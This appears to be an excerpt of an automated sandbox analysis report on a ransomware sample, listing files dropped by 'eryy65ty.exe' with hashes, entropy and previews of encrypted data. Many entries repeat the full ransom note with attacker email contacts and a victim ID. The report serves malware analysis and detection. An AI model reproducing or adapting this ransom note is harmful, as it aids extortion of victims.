                                                                                                                                        Preview:U.l..f......J.u..~v..?..u........e..m....v__...p=:$+D.S.....O..f........vb.......7.nv4H#.f..r.'..n..[...........I.mo.........`....3...X.D..4..u...g./...kk..Y0.|..,.+}@.,[.{..n.X.5.v..V#....C.i.M..9.(..c}...Su.#.t..nk...\b...@(G .......&{..V..Z.P...&4.Y.#5Mc.a.._sxbZ*.E...~*b.I.[.=j+..\tT.}.....Mp9#.p.66iN.t.9....#.0.O..F~.......a@9..Q..H......m4./......|o..y.....a..Oy..-lT...br.v....k.........c.A...l....*dK....\.....gdn..uy,..I.e]..n.hJ.?m.su.....%...z.....0..!f.`.7`k+S......r.Pz.......i.}.w...."..>..$^..G7....HJ.Do..P......q.,?<..c.jg..".=...w.B$.J@.....QO...#*I.....|.S..BW.GV.p...".......v.Ip._N..X.B..o.9.....#.'c..rl7.i*g..~LIb.....vH..d.D..n...G....@p-.sj....l...7e..i.9.Go/.a=....-)tM.....R^..=.......w{]..>......4./..nob.v/t.QNT..}._.yGY,...qz..$....j.w=a .7.\.k!..?"G.!..v...Nr..G..>.O..Y....s3_...3..c.XNG..........?Z.v.(....3J.v....-W_L.)./B..i..LXe.......[+..-A.Uj......$....=IgP..^J.t..*...5.x,.....`(...&...c}.i./Z.....z..f..wDU...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):530
                                                                                                                                        Entropy (8bit):7.661772796753136
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:dnYj0+u0CncxnBtHNe0AZTk0pT0PzsJGIy/hT8nZgEotkHn:Gj0+uVc1MhZwATwsiT8ZgEwm
                                                                                                                                        MD5:D7D3648A55A9285113E43691B92F1914
                                                                                                                                        SHA1:088749657FCBA26D5FA6E2E62411AD8E9A1E3E2C
                                                                                                                                        SHA-256:871D49132FEBEE884C25F97A6E59121AF8E197F6CCB3F3966FCD314F6C7DBF85
                                                                                                                                        SHA-512:2D35F0287BCA1A9CE07E540ED54ECCC51D669CA5435412BF6633EF87360DE4117BE081CD978FDEC6ADE2B1CD30BD9A37A803E83C6744B3DDD2F4002C78D059E8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......`..#l..3.RI...h.?...........4LZ;.B..g..$.O{.PM/../!.. .`.;.=Q.R.jQS..?.[Mf.~.*.............9.*..u..3j.n-...q.~.0.i..sI..W,9.J.Gb.p.+=!$.]E....y.Zc.j......a..t."..ka.....dd.[.Y..4.M9U6.6$.1C_..=....o......A..?.J.H........K.W.&4....L...z.-.....y.;T{.q.....x.... .a..?;{P..`@.&9....l).R.J..:......o...-...l....N...Ai2....^<O...>:......g.3T. ....7.V.=.{.}.vLI..W. .MV.....e.P....I..`..w.B....k..lo..4..:8......?.Kiz..K.....d.c..by.G2.C5....`...EV..i.....Xo..Gr.#...0.v......4........8......0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):530
                                                                                                                                        Entropy (8bit):7.661772796753136
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:dnYj0+u0CncxnBtHNe0AZTk0pT0PzsJGIy/hT8nZgEotkHn:Gj0+uVc1MhZwATwsiT8ZgEwm
                                                                                                                                        MD5:D7D3648A55A9285113E43691B92F1914
                                                                                                                                        SHA1:088749657FCBA26D5FA6E2E62411AD8E9A1E3E2C
                                                                                                                                        SHA-256:871D49132FEBEE884C25F97A6E59121AF8E197F6CCB3F3966FCD314F6C7DBF85
                                                                                                                                        SHA-512:2D35F0287BCA1A9CE07E540ED54ECCC51D669CA5435412BF6633EF87360DE4117BE081CD978FDEC6ADE2B1CD30BD9A37A803E83C6744B3DDD2F4002C78D059E8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.......`..#l..3.RI...h.?...........4LZ;.B..g..$.O{.PM/../!.. .`.;.=Q.R.jQS..?.[Mf.~.*.............9.*..u..3j.n-...q.~.0.i..sI..W,9.J.Gb.p.+=!$.]E....y.Zc.j......a..t."..ka.....dd.[.Y..4.M9U6.6$.1C_..=....o......A..?.J.H........K.W.&4....L...z.-.....y.;T{.q.....x.... .a..?;{P..`@.&9....l).R.J..:......o...-...l....N...Ai2....^<O...>:......g.3T. ....7.V.=.{.}.vLI..W. .MV.....e.P....I..`..w.B....k..lo..4..:8......?.Kiz..K.....d.c..by.G2.C5....`...EV..i.....Xo..Gr.#...0.v......4........8......0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):14722
                                                                                                                                        Entropy (8bit):5.997446289027585
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:PxirebEIp25KNVEb0lZ6mgtdHOelGdWaolvsTlY3:Jie2WejJGxwGlY3
                                                                                                                                        MD5:B186E9859611F320BD3D0489AFC3BB6E
                                                                                                                                        SHA1:335868E7DCD56637F6F3218711A160094BB52452
                                                                                                                                        SHA-256:3821B9D64BFCC8F93D95A5C86AB02DB904433A9E9870577EAF1B585AEE3B5B37
                                                                                                                                        SHA-512:71918D9C334A6FE10A5214E2815E1FA9FBE3D058DE9D5492AD9EE291550FC570CCE64B380B4746178812DD5E162AC8DACC84111569E4BA4FB68B4F0B09004655
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.-"....uk..LU.......}......h.....!QETf......m.JWV.z..\K..@.>.N5.....za:..Y{JE......<'.......>......JkO..:..J..ZI:..*.W...(.g.Z...3......*.k..j.4..9S[(..Z..&./..._.0..Fx.G1.=.s.P.3\...h.^R..r....lG.z........+aM....<'.$.b...K....}"j...F......>5qT.%.\28...2.*m...AB< .]...5.,N..W.....#y.n..r.q..N....".....tY....E.K..j.;>U...$..x..!.....{....X......~.H....A.>[D.%D.@.......Z.(y./.W.@.6.P...E...cY.54=...."^n...h_..&,h....tw.._2..''~ERo.e.N.sf..o.........._..4n.OpT8...+$..W.a...1.n...Ae.._.t....+S2.`..I...%x~X^......x`X...y/b...W)"..\....s.Oc..?:..'\...qz...i... .'_.y .....2...4.......E.........3n{..o...8...v...........3....f..h..TIe.....tL.. .J/|,.%/.(..6.\n/1?8o'.q.uu....d4....ct...4o....\{ac.....%X7.;....JIB..H.Zh.R...>..Pimr......z.^..h.Q,..+.q.k1]M.....(.I...5.<.5...j.....bA..V..H.|.%j....6....j!.0...@..N.[.....}.J..AvE.C..u..c..&..+...>.I0.%.%#.I....%-s......,S.FI....Q$z..w.b../.)...T.T.;E....4Z.."..(;.>...T..{.:I.].Z .-1.#.V..Nx.3 .n.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):14722
                                                                                                                                        Entropy (8bit):5.997446289027585
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:PxirebEIp25KNVEb0lZ6mgtdHOelGdWaolvsTlY3:Jie2WejJGxwGlY3
                                                                                                                                        MD5:B186E9859611F320BD3D0489AFC3BB6E
                                                                                                                                        SHA1:335868E7DCD56637F6F3218711A160094BB52452
                                                                                                                                        SHA-256:3821B9D64BFCC8F93D95A5C86AB02DB904433A9E9870577EAF1B585AEE3B5B37
                                                                                                                                        SHA-512:71918D9C334A6FE10A5214E2815E1FA9FBE3D058DE9D5492AD9EE291550FC570CCE64B380B4746178812DD5E162AC8DACC84111569E4BA4FB68B4F0B09004655
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.-"....uk..LU.......}......h.....!QETf......m.JWV.z..\K..@.>.N5.....za:..Y{JE......<'.......>......JkO..:..J..ZI:..*.W...(.g.Z...3......*.k..j.4..9S[(..Z..&./..._.0..Fx.G1.=.s.P.3\...h.^R..r....lG.z........+aM....<'.$.b...K....}"j...F......>5qT.%.\28...2.*m...AB< .]...5.,N..W.....#y.n..r.q..N....".....tY....E.K..j.;>U...$..x..!.....{....X......~.H....A.>[D.%D.@.......Z.(y./.W.@.6.P...E...cY.54=...."^n...h_..&,h....tw.._2..''~ERo.e.N.sf..o.........._..4n.OpT8...+$..W.a...1.n...Ae.._.t....+S2.`..I...%x~X^......x`X...y/b...W)"..\....s.Oc..?:..'\...qz...i... .'_.y .....2...4.......E.........3n{..o...8...v...........3....f..h..TIe.....tL.. .J/|,.%/.(..6.\n/1?8o'.q.uu....d4....ct...4o....\{ac.....%X7.;....JIB..H.Zh.R...>..Pimr......z.^..h.Q,..+.q.k1]M.....(.I...5.<.5...j.....bA..V..H.|.%j....6....j!.0...@..N.[.....}.J..AvE.C..u..c..&..+...>.I0.%.%#.I....%-s......,S.FI....Q$z..w.b../.)...T.T.;E....4Z.."..(;.>...T..{.:I.].Z .-1.#.V..Nx.3 .n.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):302
                                                                                                                                        Entropy (8bit):7.242555432917752
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:RCpkohmLG1DFd65gYne0A/qpnMEbFUgdHn:oksmi1paA/qJLFUOHn
                                                                                                                                        MD5:09FDB3B0B516C1EB1943E3780EF95C39
                                                                                                                                        SHA1:3F77F39FFBE9625BD44AFB0EC2C51113B871762C
                                                                                                                                        SHA-256:70FD5CEAA2EACD0784210F316E6D93DFA4F7CC937F5819817B031D1AE7D7C35B
                                                                                                                                        SHA-512:8119BFFF6B7E4257A73326CC0410E59EE810E428884FAEEB8C4C477866D031861A315031B01F5ABC636A0BF18BD5D70B0325059D6068319D5D01E2D67F76478E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.-....Vz%.E`.)".6%.t.ax.N.q.hQ......+oRz-..VV.....Nh..2.>.S:!z.S6g..k}./.2.w..'.'.....JE..T........#...C~.J..1s...!.`..4.3..S......2I...:n._}.b..U....}vU..M..>..>Z%7FP........\.E.T.(?..u:.KM6Kb2I...N.6b.....3...5..)..L>..... <,] ...93...`.....KG=...O......&...^..(O.x...w....a.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):302
                                                                                                                                        Entropy (8bit):7.242555432917752
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:RCpkohmLG1DFd65gYne0A/qpnMEbFUgdHn:oksmi1paA/qJLFUOHn
                                                                                                                                        MD5:09FDB3B0B516C1EB1943E3780EF95C39
                                                                                                                                        SHA1:3F77F39FFBE9625BD44AFB0EC2C51113B871762C
                                                                                                                                        SHA-256:70FD5CEAA2EACD0784210F316E6D93DFA4F7CC937F5819817B031D1AE7D7C35B
                                                                                                                                        SHA-512:8119BFFF6B7E4257A73326CC0410E59EE810E428884FAEEB8C4C477866D031861A315031B01F5ABC636A0BF18BD5D70B0325059D6068319D5D01E2D67F76478E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.-....Vz%.E`.)".6%.t.ax.N.q.hQ......+oRz-..VV.....Nh..2.>.S:!z.S6g..k}./.2.w..'.'.....JE..T........#...C~.J..1s...!.`..4.3..S......2I...:n._}.b..U....}vU..M..>..>Z%7FP........\.E.T.(?..u:.KM6Kb2I...N.6b.....3...5..)..L>..... <,] ...93...`.....KG=...O......&...^..(O.x...w....a.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):320
                                                                                                                                        Entropy (8bit):7.287387479195259
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:IKepUML/eqviXQM3S/EPZ7EskPU6l9TteC7LXqdsMGYkNUDyYlzMMwn:I9pUI/elQMiMPFE7oCfYs+RnIn
                                                                                                                                        MD5:743924EA9A6EDB48C48A1B6E81A9A006
                                                                                                                                        SHA1:B4E9B6FCD0ED90F672DE0CB0CEB512D22642A696
                                                                                                                                        SHA-256:0427E40293E0D450ABF1E1405439E9DBAD0E612B6EBBFC50E487CA73865AD63F
                                                                                                                                        SHA-512:576D3D79AE5C88D657E3FDB25DDA1B2556AB4F905E3B15C8E7CEAE030575C869F8C7748CED082FA25EC52448ED77065AA371748DD4A203BFF4EA62BECBB255EE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..G...4.....55.;..(.q..zZ..6.0Q.......D.3..Q.......M..0.@..Q..."4uO...z..CN..!u[.[..BqZ.z... pZ...3.8A`..=U."A......7Ky......,=1,.v...!.mM,A_..k..;.l.@..\w....;............a.Z.O..QZ.I..%..$.V7.(......Nb..[..p.L...p...M.@8..Z,...m...d.l.n..U....]...i.....Ve1?..`kf.=j.....n..".s.:.....D:r..q...2.D0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Public Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):320
                                                                                                                                        Entropy (8bit):7.287387479195259
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:IKepUML/eqviXQM3S/EPZ7EskPU6l9TteC7LXqdsMGYkNUDyYlzMMwn:I9pUI/elQMiMPFE7oCfYs+RnIn
                                                                                                                                        MD5:743924EA9A6EDB48C48A1B6E81A9A006
                                                                                                                                        SHA1:B4E9B6FCD0ED90F672DE0CB0CEB512D22642A696
                                                                                                                                        SHA-256:0427E40293E0D450ABF1E1405439E9DBAD0E612B6EBBFC50E487CA73865AD63F
                                                                                                                                        SHA-512:576D3D79AE5C88D657E3FDB25DDA1B2556AB4F905E3B15C8E7CEAE030575C869F8C7748CED082FA25EC52448ED77065AA371748DD4A203BFF4EA62BECBB255EE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..G...4.....55.;..(.q..zZ..6.0Q.......D.3..Q.......M..0.@..Q..."4uO...z..CN..!u[.[..BqZ.z... pZ...3.8A`..=U."A......7Ky......,=1,.v...!.mM,A_..k..;.l.@..\w....;............a.Z.O..QZ.I..%..$.V7.(......Nb..[..p.L...p...M.@8..Z,...m...d.l.n..U....]...i.....Ve1?..`kf.=j.....n..".s.:.....D:r..q...2.D0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
